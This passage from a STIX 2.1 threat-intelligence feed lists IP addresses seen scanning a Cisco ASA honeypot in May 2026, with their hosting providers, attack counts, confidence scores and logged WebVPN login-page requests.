        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:20:10.000Z",
      "valid_until": "2026-06-05T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T16:20:23.113Z",
          "last_seen": "2026-05-08T05:00:48.829Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--00e0e2a2-c6dd-47cc-89f0-a21d279fb141",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:20:10.000Z",
      "valid_until": "2026-06-05T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-04T16:48:52.030Z",
          "last_seen": "2026-05-30T07:33:56.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--19de1107-67d2-4814-b5b5-3872b059d2b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:20:03.000Z",
      "valid_until": "2026-06-05T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T17:50:12.686Z",
          "last_seen": "2026-05-31T04:29:39.109Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--bf56b86d-c2ee-4b67-af9d-234ec2de51e5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:20:03.000Z",
      "valid_until": "2026-06-05T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T17:37:32.534Z",
          "last_seen": "2026-05-04T17:37:41.617Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b91b2327-87ca-4a7c-a6a0-a79ee4b0fba4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:20:03.000Z",
      "valid_until": "2026-06-05T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T18:15:37.216Z",
          "last_seen": "2026-05-29T21:47:37.338Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--14076bef-e453-4438-9ed0-607a3a6a6057",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:20:03.000Z",
      "valid_until": "2026-06-05T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T17:32:35.625Z",
          "last_seen": "2026-05-16T02:33:47.367Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--57ae60b1-2a53-4b9e-b0b4-0eb98e051c2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:20:03.000Z",
      "valid_until": "2026-06-05T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T17:41:14.896Z",
          "last_seen": "2026-05-29T02:11:18.410Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9e918844-8a11-4f65-9676-4d73707f34a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:20:03.000Z",
      "valid_until": "2026-06-05T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 10,
          "first_seen": "2026-05-04T17:24:05.337Z",
          "last_seen": "2026-05-27T20:56:41.830Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--9cad5509-a98d-4848-bd9e-0fdfbe620212",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:20:03.000Z",
      "valid_until": "2026-06-05T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T17:48:04.616Z",
          "last_seen": "2026-05-27T19:51:52.738Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--16b8c35e-8580-4304-a2e8-1adc82770c41",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T18:35:49.143Z",
          "last_seen": "2026-05-08T13:06:19.717Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NG; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--1fd01529-d1c1-4f64-b198-ece342fb7f75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.11.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-04T18:37:27.107Z",
          "last_seen": "2026-05-04T18:38:19.677Z",
          "country": "Nigeria",
          "country_code": "NG",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ed5298a2-bc93-4be2-80e4-cc494137b5d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-04T19:07:28.731Z",
          "last_seen": "2026-05-29T21:16:50.957Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--b1b8a418-5172-4487-a1fc-1d311945f2ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T18:50:18.214Z",
          "last_seen": "2026-05-16T08:40:55.724Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fae049e4-55e0-49ab-8b48-e96c89335bbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-04T18:20:23.744Z",
          "last_seen": "2026-05-29T12:12:23.724Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--51bf7d6b-ee58-4e92-93c9-323ffa2dea6a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T18:37:23.599Z",
          "last_seen": "2026-05-30T03:07:38.798Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a8fb5968-3fd4-4584-a45f-c4ba2e1ef9e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T18:29:46.352Z",
          "last_seen": "2026-05-07T03:05:59.807Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b2222b25-1cae-42ab-a248-08e1a8b0e309",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T18:21:43.283Z",
          "last_seen": "2026-05-14T01:17:47.809Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:20:10.000Z",
      "valid_until": "2026-06-05T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T19:18:21.348Z",
          "last_seen": "2026-05-05T12:14:37.440Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--a3b63d5a-5622-472c-9f41-d7cb82a788e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-04T20:09:53.323Z",
          "last_seen": "2026-05-29T22:38:58.283Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--76b358ac-667e-4325-925a-a3fe314d3b8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T19:59:40.709Z",
          "last_seen": "2026-05-04T19:59:50.334Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
